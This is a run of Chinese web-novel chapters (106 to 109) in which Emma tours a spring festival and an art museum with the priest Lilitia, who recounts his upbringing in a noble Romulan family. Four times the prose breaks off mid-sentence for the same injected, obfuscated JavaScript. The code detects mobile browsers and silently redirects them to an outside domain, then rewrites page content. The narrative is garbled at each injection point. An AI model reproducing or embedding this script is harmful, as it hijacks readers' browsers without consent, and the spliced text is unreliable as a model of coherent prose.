艾玛曾是一座繁荣城市的领主,也做过它的实质管理者,对某个地区表象所反映出的管理系统本质再清楚不过。 艾玛不容易产生太感性的幻想,对于阿瓦托芬呈现出的和平奇迹,除了有好感之外,便是对支持神殿的这份“乱中有序的暴力”感到赞叹。 神殿的结构规则设置很有讲究,能在这么多充满不定数的魔法师中维持住这种精巧的平衡,确实用奇迹形容不为过。 在她散漫地思忖时,人群中突然爆发出一阵欢呼。 艾玛回过神,跟着人群的瞩目望向街道中心的花车。 她听到旁边哈瓦娜嗤了一声:“看费鲁南特,笑得好勉强,服了……谁给他衣服设计的那么大的花?估计这小子忙得没提前去文礼司试过吧。” 花车上的费鲁南特笑容僵硬,处于一种正在笑但好像马上就笑不出来了的状态。 他明显不习惯这种受人瞩目的公众场合,即使不是在人潮视线中心,也已经有一种眼神死了的痛苦。 哈瓦娜能一眼看到并先评价他,属实是来自损友的亲切关爱。 毕竟几乎所有人的目光都会在第一时刻凝聚在花车中央银发的青年身上。 明明位于热烈日光之下,斑斓花海之中,却没有任何东西的光彩能盖过他自身的颜色。 利利提亚少见地穿着黑色的长袍,却不显得这颜色沉重肃穆。 纱做的衣料在风里轻盈地扬起,连带着衣袍上织绣的鲜花与叶脉摇曳生姿。 藤蔓与流水般的银饰绕在他脖颈手臂,不对称的耳挂如流星。 那双蓝色的眼睛像神秘繁盛的夜晚丛林中的湖泊,宁静而温和。 “漂亮,漂亮。”哈瓦娜不是很有诚意地鼓掌,“哇这一身真是,麻烦得一看就知道花了很多心思,谁看了不说一句文礼司的门面,虽然他不是文礼司的。 “啧啧,比前面那几个剧团的主演都吸睛。要是我不认识这人,我也一定夸他天神下凡人间精灵什么的……可惜我认识他。” 艾玛说:“你对他其实很有意见?” “没有。”哈瓦娜说,“我就是看见他就想起我上个月的巡查报告还没交,事实上还没写。我有点不舒服了。” 利利提亚站在花车上,从一边的花瓶里取出橄榄枝,在白瓷盆里沾一遍清水,接过费鲁南特递来的花束,将橄榄枝插进花束里,然后抛向空中。 花束上事先附加过法术,离开利利提亚的手后展开了翅膀般的光影幻象,引起观众阵阵喜悦的惊呼。 那些花束里的鲜花品类繁多,有的编成了环形或球形,挂着写有祝福语的卡片,都是文礼司事先的准备。 再现场加进橄榄枝,象征神殿带来和平与希望的祝福。 它们按照一定顺序抛出,正好一个个飞向沿途的店铺、机构或个人住所。 如果女巫在位,这项仪式应该由女巫负责,女巫不在时,则交由神谕祭司。 荷尔贝拉低声向艾玛解释了这些举动的含义,艾玛听过,点点头。 花车快开过这一段街口了,艾玛没打算跟过去,抬头时却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“很遗憾。好消息是,这样的流程更快,我不用在那里待太久。” 利利提亚向艾玛身边的两人打招呼道,“上午好,贝拉,哈瓦娜。” 荷尔贝拉向他行了一礼。 哈瓦娜尴尬而不失开朗地一笑:“上午好,利利提亚大人。你这身很好看!” “谢谢。”利利提亚微笑,“你在休息时间吧,哈瓦娜? “如果可以,我想借用你一点时间,谈一谈关于你上个月出勤率的问……” “我突然想起我还有事!” 哈瓦娜猛地一拍手,恍然惊醒状,“很着急!真不好意思得先走了,有什么事下次再说吧节日快乐您也玩得开心哈拜拜——” 哈瓦娜向艾玛行完礼,迅速消失在被抓获现场。 荷尔贝拉平静得多,看了看场面氛围,便借口有事告退。 既然有利利提亚相陪,没有监察骑士跟随女巫也没什么关系。 “我接下来都是休息时间,如果您不介意,就让我陪您逛逛吧?” 利利提亚说,“如果您更希望哈瓦娜和贝拉陪您,我叫她们回来。她们可以马上‘没事’的。” 其实谁陪着都一样。 艾玛觉得不必费这个事:“我无所谓。祭司阁下不介意就好。” “请叫我‘利利提亚’吧。” 利利提亚说,“我们不是初次见面了。” “好,‘利利提亚’。”艾玛自然地答应道。 她看了看街边的摊店,将目光转回他身上:“那么,你接下来有什么计划?” 107.展览 春祭的安保工作有巡防营的大量参与,利利提亚对活动的时间安排与分布都很清楚。 他问艾玛想去热闹的地方还是安静些的,艾玛选了后者。 “你的装扮很显眼,刚刚又当众在花车上经过,被人认出来的话很麻烦吧?”艾玛问道。 “请放心,我有做准备。” 利利提亚向她展示左手食指上的一枚戒指,金铜色的戒面上嵌着一块雾灰色的石头。 “这块魔法石可以影响他人对佩戴者的外形认知,或者换种说法,可以降低佩戴者的存在感,不是我主动和人交谈,对方就不会注意到我。” 艾玛说:“这么说,我也有忽视你的可能。” “让人伤心的假设。我会尽量不让它发生的。” 利利提亚说,“不过,对女巫来说,这种把戏未必有效。” 利利提亚今天手指上只戴着三枚戒指,艾玛看了看:“这么多人,有不少依靠魔法举行的活动,想到还存在各种各样的魔法石,就觉得安保更困难了。巡防营真辛苦啊。” “是啊。”利利提亚叹息。 “那么,神谕祭司在这个时间真的可以休息吗?” 利利提亚顿一顿,似笑非笑地望向她:“上次也是带您从楼上跳下来了,您才想起问我合不合规矩。 “您也不是真在意这些问题,我们就都装作不知道吧。退一步说,费鲁南特总会有办法的。” “有点可怜他了。”艾玛说。 “费鲁南特说您是个温柔的人,听了这话想必会感动的。我会向他转达这份体贴。” “你知道他见过我?” “他不太藏得住事。” 费鲁南特当时可一副不敢被利利提亚知道的样子。 利利提亚说得轻描淡写,艾玛想了想,不多问了。 利利提亚选了人少的方向,正逆着涌动的人流。 花一般的衣裙从他们身边淌过,像春天漫开的花海。 艾玛思忖了几秒利利提亚那枚戒指的效果,思索降低存在感是否提高了他被人不慎撞到的可能。就当他有躲得开的自信吧。 “说来,前段时间的事,我还没向您道过歉。” “什么?”艾玛愣了愣,没能想起他指什么。 利利提亚说:“上次外国使团来访,和他们发生了冲突的时候,我看见您在楼上,但没去打招呼。” “你当时很忙,这点事不值得在意。” “或许我那时的做法不够恰当。”利利提亚问,“如果由您来处理,您会怎么做?” “我不是神殿的人,没资格代你们做决定。” 艾玛说,“但如果这问题只是个假设,你希望我以什么身份的立场回答?” “您是女巫,当然,假设您作为神殿的女巫,会怎么应对?” 艾玛思考了一会儿,语声平缓:“如果是我,会先扣留那个第三王子,等他们把神殿的使节送还,备好证据,再当众对峙。 “他们要派来魔法师、护卫或者别的什么保证‘公平’都可以,虽然我不觉得有太大的意义。” 利利提亚显出一些惊讶:“扣留王子和扣留使节的意义不同——对方完全可能以此为借口向神殿发难。” “他们本来就没有好好谈的打算。太咄咄逼人,不是故意,就是不够聪明,或者两者兼具。” 艾玛淡淡道,“那个十七王子最明显,无论如何不该让这样的孩子在和盟国交涉时代替一国使团的态度,除非是有人授意纵容。 “明面因为受宠而狂妄,实际是弃子。那个第三王子的地位多少比他好一些,如果扣留他,对方起码会更顾忌点面子。” 利利提亚若有所思:“很成熟的思路。您曾经做过哪里的管理者吗?” “当过一段时间的领主。刚才的问题是考验?” “岂敢。只是我对您的想法感到好奇,也想看看,我的做法是否让您满意。” “处在你的位置,我未必能做得比你更好。”艾玛道,“那些浅显的推论,我想你早就看出来了。 “我不知道你当时跟那个王子说了什么,但看他的反应,感觉挺精彩的。” “承蒙夸奖。”利利提亚笑笑,“要是我们这两种方式都不可行,对方还是要向神殿宣战,您会怎么做?” “那就打吧。”艾玛说得平静而理所当然,“神殿不会输。” 利利提亚抵着上唇,思索地望向她,眼中闪过一瞬亮色。 艾玛偏过头,对前一个问题的发问动机感到疑惑:“你害怕冲突吗?” “不。”利利提亚道,“但是议会不喜欢。我以为女巫也不喜欢。” “还好吧。我不喜欢冲突,也不会刻意避让就是了。” 利利提亚说:“我理解‘不战誓约’的必要性,但我认为,对于具有绝对力量的女巫来说,这誓约实质是一种牺牲。我有时会思考这是否值得。” “就像每个人认为重要的东西都不一样,如果她们认为重要,那就值得。” “或许是。但这是否是一种想当然呢?”利利提亚说,“我看过神殿保存的历史资料,女巫的年龄与寿命仍然由种族决定。 “她们来到神殿的时候,往往在二三十岁左右。人类在这个年纪,是未必看得透自己,更未必了解得明白未来的自己的。 “最初的女巫订立下‘不战誓约’,我相信她认为这值得。但后来的女巫在定下誓约的时候,不一定已经想清楚自己的一生了。 “比起改革和推出新法,走前人安稳的旧路更省力,更不是所有女巫都对变法有兴趣,思维惯性说不准也限定了她们。 “‘不战誓约’是效力极强的终生契约,许下后无法撤回,无法反悔。 “无论怎么想,我都觉得对女巫不太公平。” 艾玛有些意外地看了看他:“很新奇的角度。” “是吗?” “你在从女巫的视角,替女巫考虑。虽然身为神的信徒,你仍然认为女巫是人。” 艾玛低下视线想了想,“谢谢,我会当这些话是提醒。” 利利提亚顿了顿:“您倒提醒了我,这话僭越了。” “魔法师都有各自的傲慢。你下意识这么想,”艾玛说,“但我不讨厌,可以装作不知道。” “哎,要您保密的事是不是太多了……” “没关系。我喜欢听故事,而且不喜欢讲。” “我不喜欢讲自己的事,”利利提亚停一停,说,“但或许对您能多说一些。” 艾玛看见街边一座美术馆,门口的展板写着花哨的宣传——“春祭期间限时展出”。 阿瓦托芬的住民来自大陆各地,汇聚的艺术风格也颇五花八门,艾玛有些好奇。 美术馆时常有纪念品售卖,如果有合适的,或许还能带给西里斯。 注意到艾玛视线的停顿,利利提亚便问她有没有兴趣去这座美术馆看看。 艾玛点头答应。 春祭第一天的上午,正是街上最热闹的时候,美术馆里的人不算很多,只有不少喜好安静或期待展览、早早前来的游客。馆内有维持秩序的守卫巡逻。 限时展出的主题是“生命”。 笼罩在欢庆的节日中,入口处的展品都光彩明媚,大多是以蓬勃的鲜花为题材绘制的画作。 有的特意用花汁当颜料,也有许多拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504505|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴画,还有少量雕塑。 他们走到一处拐角,看见前方的通道幽暗,只亮着几点灯光。 门口写着说明,里面展览着一些要求在暗处展出的作品。 有的是因为材料特殊,在暗处才看得出效果,有的是出于创作者的立意。 艾玛在暗处视物的能力良好,但刚走进通道几步,还没来得及欣赏什么展品,正准备从通道中离开的游客没注意到刚进来的人,不慎撞到了利利提亚身上。 慌乱中也没注意到撞的谁,只第一时间一叠声道歉,匆匆和朋友一起离开了。 说不定是戒指的影响。艾玛还在惦记这件事。 通道有点窄,不方便避让,刚进暗处不太适应,或许是这样才没躲开。 艾玛想问问利利提亚没事吧——礼节性的意思。 她侧过头,看见利利提亚的第一眼,下意识以为是这里的壁画展品。 春天的寒意在黑暗中幽幽漫散着,人工织绣的花朵叶脉攀附在那身黑色的礼服上,泛着冰冷的生机,恍若在轻微地呼吸。 利利提亚将颊边的碎发拨到耳后,银制的耳坠随着动作晃荡。 他垂着眼睛收拾衣饰,抬眼时撞进了吊顶的灯光,像月亮掉进湖泊里,泛开一层层闪光的涟漪。 “您在看什么?” 利利提亚的发问拉回了艾玛的出神,艾玛怔了一下,道:“哦……我在想,你确实很漂亮。” 似乎感到意外,利利提亚顿了顿,微微弯起眼睛:“我还以为,您不这么想。” “我不太在意别人的外表,但还是有正常审美能力的。”艾玛说。 “能得到您的夸奖,我很高兴。” “说起来,第一次见你穿黑色的衣服。” “因为游行在白天,我发色浅,柳德米拉女士说选件深色的压一压。黑色很隆重不是吗? “日常里,神殿的制服基本是白色,只是太容易弄脏,有点头疼,要是黑色就没这样的困扰。” “听起来是实用主义。”艾玛回想,“我以为你是在乎打扮的那类,平时也戴着很多首饰,虽然上面大多嵌着魔法石。所以本质也是为了实用?” “一部分吧。从个人角度上说,我不喜欢在打扮上花过多时间。美丽的外表是装点给别人看的,我也不会时时照着镜子。但小时候的教育太要求仪表,我多少有些在乎的习惯。” 利利提亚笑笑,“现在还有不少热心同事会向我推荐服装和首饰,我有时会试一试。” “看到长得好看的朋友,有这样的想法也难免。” 艾玛想起以前自己和莫妮卡也曾热衷于为雪莉的打扮出主意,虽然雪莉的审美眼光比她俩好。 墙面上的画用着特殊的涂料,在黑暗里微微发光,向上延伸出绚烂的花草丛林,有野鹿在其中嬉戏。 画面底部,画框之外,镶着一个木盒,向外展示的那面用了玻璃材质,昏暗中勉强可以看见装在其中的干枯草叶,鹿角和兽骨。浅显易懂的喻示。 通道顶端缀下一串串蝴蝶,最低的蝴蝶几乎碰到艾玛发顶。 等艾玛打量完墙面上的作品,转过视线,看见利利提亚正看着她。 蝴蝶标本落在他头上,像试图亲吻他头饰上虚假的鲜花。 “怎么了吗?”艾玛问。 “我以为您会发表感想。” “没什么特别想说的。我不习惯评析艺术品,”虽然从前文学美术课上练习的时候,老师会做此要求,“你呢?” 利利提亚又看了壁画一眼,笑了笑:“我的第一位美术老师说我是块朽木。毫无审美感知和灵感才能,愚钝到让他崩溃的地步。他只教我三天就辞了职。” 108.才能 艾玛挑了挑眉:“我听说过你的出身。比起他的评价内容,一位美术教师敢向你给出这样的评价更不可思议。” “艺术家有点激进的骨气,我倒很欣赏。不过确实,他有个贵族的姓氏,而我当时年幼,人的底气来自多方多面嘛。” 利利提亚语气淡淡,“那之后的老师就没那么诚实了。我画得再糟,他们当面也会挖空肚肠说些赞美的话,还旁敲侧击,问我是不是跟父亲斗气才瞎画一通。好问题。 “他们在把我的画拿给我父亲看前,会做些恰到好处的修改——不要糟得太让人绝望,又不要好得太过于老成,得有孩子的稚嫩。真为难他们。 “好在,我学得很快。 “我会模仿老师的笔触和技法,揣测他们下笔的逻辑,按照他们会觉得好的方式去画。他们以为我想通了,开了窍。同一种画法仿腻了,我就会找借口换一位老师。 “有了些美术底子之后,画出来的东西还算像模像样,骗过不少人,包括我那看见画作时,在乎它的商业价格多于什么艺术价值的父亲。但这是最重要的。姑且算我目的达成。 “我十五岁的时候,有了位新的美术老师,出身平民,但似乎很有些才能。 “她看了我几十张画,看了很久才对我说:我在你的画里找不到一点感情。 “她第二天就向我父亲递了辞呈,我有点遗憾。 “那封信文辞工整,说得足够客气,但我父亲还是觉得掉面子。好在那之后我就不上美术课了,有更多他认为更重要的事我该去学。” 利利提亚的余光扫到角落的雕塑:“雕刻、音乐我也都练习过,对我都差不多。 “技巧层面的东西,我能学得很好,如果有人想听我发表对什么作品的感想,我可以说一千一百种针对性的评论不重样。但我自己最清楚,那些最多骗骗半盲的外行。 “但我的母亲不同。她出于个人喜好收藏了很多艺术品,空闲时会参加画展、音乐会和艺术沙龙,还资助过不少生活窘困的艺术家。 “好消息是,她不在乎我的作品。她只是认为我在这方面没兴趣,不必强求。 “所有人都说我的容貌很像母亲,甚至发色和眸色都全然受自她家族的影响。我父亲其实很不满这一点,因为我长得不像他。 “但艺术方面的这些感知,我却没有一点跟母亲相似的感性,反倒和父亲类同。只不过他全无自觉,而我稍有自知之明。” 利利提亚的指尖在墙壁上凝固的颜料上滑过,目光落在艾玛身上。 这个漫长而安静的视线被艾玛后知后觉地解读为叙述的句号。 她停了几秒,没能立刻说点什么,张了张嘴,最后吐出一句僵硬得她自己都觉得苍白的话:“那你觉得在这里无聊吗?” 艾玛顿了顿,没想好补充,利利提亚已经笑笑接过话:“看来我扫兴了。请别介意,只是突然想起,想说给您听听。 “通道已经走到头了,我们返回去吧。” 从通道出来的时候,灯光让艾玛一时有点不适应。 如果这家美术馆有反馈调查,针对这条通道展廊的设计,她倒有不少意见想提。 时间近中午,街上的游行仍然热闹。 美术馆中停留的人不多,他们一路走来,周边都访客寥寥。 沿着长廊走向展馆另一端的时候,利利提亚道:“我平时不太提过去的事。在阿瓦托芬,知道我详细身世的人不多。您听谁提过什么吗?” 艾玛稍微想了一下,大概没有保密的必要:“克蕾娜和我说过一些。” “啊,她确实很有资格评价。”利利提亚了然,“看来她真的很不放心我,所以急于向您做些提醒。” “她很关心你。”艾玛说。 “警惕也是关心的一种,她做得没错。 “神谕祭司是女巫的辅佐和替代,如果女巫归位,神谕祭司的权力和影响都会削弱。 “从这层面上说,我和您是有潜在权力冲突的,对我警惕一些完全必要。 “这样看来,您倒是对我太放心了。” “我没有感觉到你的敌意。”艾玛说,“权力冲突的假设也只有在我决定留在神殿之后才有意义,但我自己都没有想好接下来的计划。” “听起来您不急于离开。真是个好消息。”利利提亚展开眉眼,似乎心情很好地放松了些,“我还一直在遗憾,难得女巫来到了神殿,最近却没什么跟您谈话的机会。 “但是这之后,该忙的事情就告一段落了,我可以空出不少时间——如果您不觉得烦扰,我还想多找您聊聊。” “我大部分时候都比较空,倒没什么关系。”艾玛扬了扬眉,“是春祭结束之后可以休息一阵子的意思?恭喜。” “不完全是祭典的缘故。前段时间我参与了很多会议,进行了多项职务变动交接安排——简而言之,议会削减了巡防营的军备,切割移交了部分神谕祭司的职责。 “这倒是让我少了很多工作,一下子就空出了时间。” 艾玛顿了顿:“‘削减军备’‘切割神谕祭司的权力’……无论如何,现在都太早。” “您是个聪明人,我可以免去很多解释了。”利利提亚笑一声,“即使您不戒备我,也会有人替您操这份心。 “我全力配合了议会的安排,展现了自己的诚意,这之后再和您来往,想来不至于被过度干涉了。前几天,他们叫我重新做了一次指月石的检测——” 他延长的尾音停下来。 艾玛侧过头,看见他好奇地望着自己。 身后的壁画花繁似锦,在明亮的灯光下一团一团热烈地簇拥着,凝固的生机有如在燃烧一般灼灼生辉。 “——我的倾斜角增加了。”利利提亚看着她的眼睛,“虽然只有两度,但还是叫人惊讶。 “您知道,指月石的倾斜角到底意味着什么吗?” 艾玛思忖了一下,说:“我记得,费鲁南特的倾斜角刚好是两度。你的倾斜角增加,他的倾斜角会不会归零了?” “那恐怕正符合他的期望。这是您的冷幽默?” “我不是有意回避问题。”艾玛说,“对于指月石的原理,我自己有一种猜测,但并不确凿。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510756|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然那么多位女巫都未曾对此做出明确定义,我该对回答更谨慎。” 利利提亚点头:“我明白了,感谢您的回答……神殿的教典中说,神明全知全能,对祂们的女巫知无不言。由此,与祂们越相近的女巫越无所不知。 “或许冒昧,我的问题有些多——您对所有人都这么坦诚吗?” “还好吧。”艾玛淡淡说,“我不讨厌你,所以不介意多回答点问题。指月石选择你,我并不意外。” 利利提亚眨了眨眼睛:“唔……这真是,受宠若惊。” 他沉吟了一会儿:“最早……来到神殿的时候,我并没有奢想过神谕祭司,只觉得能做到军权祭司就最好。以一个外乡人的出身来说,能被巡防营正式接纳都不容易。 “如果没有指月石的倾向,我肯定不是现今的地位,或许也没有和您这样谈话的资格。这样想来……” 他顿一顿,每个字都念得轻而缓慢,却足够清晰,唇边扬起一抹笑来:“——我确实一直都运气很好。” “比如,翘班的时候不容易被发现的运气?” “哎呀,您很了解我了。” “这种运气也是很重要的呢。我这方面不太行,偶尔想偷懒也很容易被发现。”艾玛说。 利利提亚思索道:“我十一岁的时候,父亲带我参与过一次赌局,简单的赌大小。贵族间的娱乐,当然,不值得称道。 “他那天运气不好,看我一直旁观,就叫我试试。 “因为新奇,我一开始很有兴趣,没想到连续猜中了七次。 “我父亲很高兴,但我突然觉得没意思,结果下一把就猜错,输掉了全部的筹码。” 他向艾玛转过目光,微笑道:“如果您其实是希望被发现的,那您应该也很好运。” 艾玛静默了三步距离,说:“你跟家人关系好吗?” “我想克蕾娜跟您说过一些。从结果倒推,即使我说‘关系好’也不可信吧。” 利利提亚叹了声气,声音却淡得难以称量言语中的分量,“在我看来,‘家人’是所有人际中最复杂也最沉重的关系。难以理解,又令人困惑。” 繁花一般的路走到尽头了,连接着另一个灯光稀疏的展厅,隐约可见琳琅陈列的骨架枯木。 同样以“生命”为命题,描绘的景象却完全不同。 或许出于吸引访客的需要,那些光鲜明亮的作品都被摆在美术馆里刚进入的区域,更晦涩的分开在这个展区,放在馆内深处。 他们途径这个昏暗的展厅时很自然地拐进去,仿佛它比通往下一个明亮区域的连贯走廊更像一条必经之路。 展厅入口处的干花被保存在开始枯败的形态。艾玛默数了那些花朵的名目。 “您有兴趣听听吗?”利利提亚说,“或许只是些无聊的家事,但我仍然有想不明白的地方。或许您能为我找到解答。” “我做不出什么保证。但如果你只是想向谁说一说,我可以当个守口如瓶的倾听者。我对听故事很有兴趣。”艾玛回答。 利利提亚笑道:“那我想想,从哪里开始吧。” 109.前置 他思索了几秒:“在罗穆卢斯,日神和月神的信仰都很兴盛。 “它还是王国时,国王不曾制止;发展到共和制后,贵族们也都争先信仰——您或许会明白这其中的怪异。 “神明和国王的权威是冲突的,除非所谓的‘神’只是王室的喉舌,维护王权正统性的工具,而另有神殿的日神与月神的话语权显然不为他人所控。 “背后的原因与罗穆卢斯的文化历史有关,我向您推荐的那本《信仰论》里谈过类似的问题。 “总之,罗穆卢斯人非常在乎‘家族’这个概念,他们对此的重视甚于‘信仰’。客观上,这样的信仰普遍功利,近似于为了从神明处获取回报才预付代价。 “‘信仰’是个人的点缀,个人是家族的附属。因此,信仰无法动摇罗穆卢斯的政治根基。 “我的父亲——尤利乌斯·盖乌斯,尤利乌斯家现在的家主。按年纪,他在兄弟姐妹里排行第二,家主的位置原本轮不到他。 “但他是个聪明的商人,也算好运。 “尤利乌斯家族因为战争和暴力享名,能有后来的地位,也少不了权算运作。 “这样的家族,往往免不了诅咒缠身。 “罗穆卢斯的繁荣在血与骨中铸成,他们经验太多了。 “莫名其妙的梦魇,病痛,事故,最终招致无数早逝的例子。 “占卜师说,这是杀人太多积下的血债怨孽。但罗穆卢斯的侵略并未因为这种恐惧止步。 “您或许猜到了,这是他们执着于信仰神明的理由。 “他们向神明寻求庇佑,借以逃避诅咒的追索。 “刚开始或许是病急乱投医,但在有人真的得到庇佑之后,渐渐也就知道哪些神明‘值得’信仰。 “日神和月神的祝福同样慷慨有效,只是特性不同,因此信众不相上下。 “信仰是否会得到回应,仍然有很大的个体差异,受诸多要素影响。还有很多人会佩戴据说受神明祝福的‘护身符’来为自己制造保护。 “这些道具确有效果,但借助它们避免厄运的概率仍不是百分之百。 “我的祖父和叔伯就都不那么好运。祖父体格很好,年轻时战功赫赫,但五六十岁就重病缠身,整日躺在床上,房间内四处挂满庇佑的魔法石,也才堪堪保住性命。 “我父亲少年时,罗穆卢斯的对外战争尚在尾声。他也曾经上过战场,为此瞎了一只眼睛,随后就退下了前线。 “继承权在他之前的兄长和弟弟死于战场和热病,战争结束之后,他成了顺理成章的第一继承人。 “他后来对我夸耀这种幸运。那只无法修复的眼球替换成了异色的义眼,眼睑上还有道明显的刀疤,很醒目,让很多人不敢和他对视。 “他有意为之,视这只眼睛为荣誉的勋章。 “罗穆卢斯的对外战争结束之后,祖父过世,他继承了家主的位置,一改尤利乌斯家重视个体战力培养军队的旧路,在许多家族还没习惯这种变化之前,率先做起了贩卖战争的生意。 “制造武器,把军火销往国外,甚至让它们在罗穆卢斯国内形成了一定的流通。在得到财富和畏惧的同时,稳固了家族的地位,还和国内不少贵族打好了关系。 “他作为战士虚伪得不值一提,但作为商人,本事却恰到好处。 “他时常向我宣扬‘头脑才是最重要的’这之类道理,很不屑那些以身犯险搏求荣华的武将,认为这身份终究次人一等,成不了真正的贵族。 “那些端坐宅邸的贵族很少为诅咒困扰,因为他们不需要亲手染血。他觉得那才是上位者应有的姿态。 “所以他不喜欢我练武,又把我的文化课程排得很多。 “那些东西,说实话,对我不难,但我觉得很麻烦。 “他总想控制我的言行甚至想法,而越如此,我越逆反。 “我很清楚,他对我实际没什么办法,最后也只能用长辈的身份和家主的权威压着我听话。 “狂妄、傲慢、贪婪,狡猾且自大,色厉内荏,反而很清楚地让我看到他的无力。 “我对他确实没什么敬意,从来不爱听他讲的道理。他也知道我听母亲的话更多些,呵呵,但他当然不可能放下自尊向她寻求帮助。 “我母亲的姓氏是奥古斯塔,奥古斯塔·杜路莎。据说这个姓氏来自推翻王朝的那支皇族,被认为是罗穆卢斯最高贵的血统。 “她是家主的长女,少女时的才干已经名声在外,本应是继承家族的最好人选。 “但上一任奥古斯塔家主,她的母亲,认为她缺乏野心,个性太过柔和。 “最决定性的是,她的魔法才能过低,最终选择了她更有魔法才能的妹妹作为继承人。而她成为了奥古斯塔最好的联姻人选。 “她接受了这种安排。 “她和我父亲的联姻并没有爱情,只出于利益的契合。 “我父亲想要奥古斯塔的血统,传统贵族的认可;我母亲想要尤利乌斯的权势和地位,以及将来更多的可能。 “他们的关系还算不错,我指作为生意伙伴而言。 “我从没看见过他们争吵,也没有其他更亲密的举止,相敬如宾,连卧房都隔得很远。 “她在贵族中很有名望,关于慈善和聪慧,和她往来的名流很多。 “婚后她管理着尤利乌斯的庄园,举办宴会,拉拢人脉,做得井井有条。 “对于奥古斯塔原本的继承人来说,这甚至是对她才能的浪费。 “在我的印象里,几乎所有人都很喜欢她。 “她是位耐心的倾听者,温柔而善解人意的女士,没有贵族惯有的傲慢,谦逊且富有同理心。 “她又那样聪明,能为别人的困扰提供许多行之有效的解决方法,乃至实质性的帮助。 “您能想象吗?这样多的声名与赞美,仿佛在形容一位地上的圣母,而这样高的名誉—— “——为她积累了多少丰厚到恐怖的资源。 “她告诉我,如何向别人表演他们所期待的姿态。 “要观察,要学习,要隐藏起自己不合时宜的真实想法。‘你要向他人施与好意,别人才会回馈你同样。’ “我完全能理解别人为什么喜欢她。当然,我也喜欢她。 “那副仁慈的外壳不全是真的,但她身上冰冷的理性,比暴力更值得敬畏。 “我向她学习言行处事,单从呈现的结果来看,我向来是个不错的学生。 “很多人赞美我和母亲的相似,甚至夸大这份仿效的外表,但我知道自己做得远没有她那么好。 “我是模仿着她塑起的圣像,终究空有其表。 “母亲一定知道我身上的隐患,她那样聪明,却选择视而不见。我有很长时间为此感到遗憾。 “如果她需要,我本可以是她的刀剑。做刀剑对我来说大概更轻松,刀剑本身不需要为自己赋予意义。 “但她从未那样想过。 “我在她身上看到,她对我的期待,是圆满她未能做到的缺憾。 “她期待我成为一个与她相似,却比她更好的‘成功者’,藉由我的成就为她赋予意义。 “我后来想,祖母对她的评价有一定的道理。 “她有着远超一个辅佐者应有的能力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516605|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却没有与支配者相匹的野心,这或许才是最可惜的。 “但多遗憾,我们都无法从对方身上得到自己真正想要的东西。 “很多人都对我有所期待。我父母所关联的那两个姓氏使得这场联姻太沉重,也过度富有价值。 “在王政时代之后,罗穆卢斯这个国家之中,所能具有的最荣耀的地位,就是议院之上的‘执政官’。这名头更像个粉饰,它的实权与王权无异。 “在那些年里,很多人认为我跟这个位置极度相近,包括我的父亲。 “这是洗刷尤利乌斯这个姓氏,为它带来质变的机会,是他一直追求的。而我,嗯……您能猜到,我实际并不在乎。 “我只是按照他们的期待去表演一个理想的形象,因为做得到所以那么做了,这个形象的‘应该’跟我自身的追求没有一点关系。” 利利提亚说这些话时淡淡的,没有激烈的起伏。 他的嗓音沉静,像娓娓道来一个遥远的故事,却有恰到好处的语气变化和错落音节,使得过长的叙述也不让人生厌。 艾玛以观察者的耳眼意识到,这也是他习惯的一种表现。 那些叙述的节奏,对于自己声音的把控,利利提亚都做得出色而富有技巧,又自然到让人难以察觉其中的刻意。 艾玛还是准领主的时候就学习过这类技巧要点,只是要做到太过辛苦,她实际不很乐意,便偷工减料地模仿,西里斯倒乐见她这份任性。 戴安娜小姐向艾玛讲解时也不认为她能照做,她自己都嫌那些东西繁琐,照本宣科地讲完就过,更关心城堡里今天的午茶和新鲜的轶事。 在艾玛自身的社交体验中也能感受到,虽然许多谈话对象的措辞形容上都有技巧痕迹,但因为各种各样的原因,他们的真实想法和内在情绪仍然会从眼角和尾音中淌露出来。 就算知道怎么做才最好,人也无法一模一样地根据脑内的理想办到。 依靠计算的、精密的理论逻辑,很难在活人身上完美复刻。 因为但凡活着的东西必有缺陷、必生变化。 生命是不稳定的,本能向真实的方向张扬,无论如何压抑,总会产生裂隙。 但在利利提亚身上,艾玛看到一种异样的稳定。 冰冷而精密,能将他学习过的逻辑道理复现得接近完美,又自然得如同本能反应。 这大概并不是什么好事。 艾玛以旁观者的眼睛打量,少见地带上一点冰冷的好奇。 他们说话时走得很慢,最后在一面展柜前停留。 艾玛倾听时并不总看着他,利利提亚的视线也会随意落到别处。 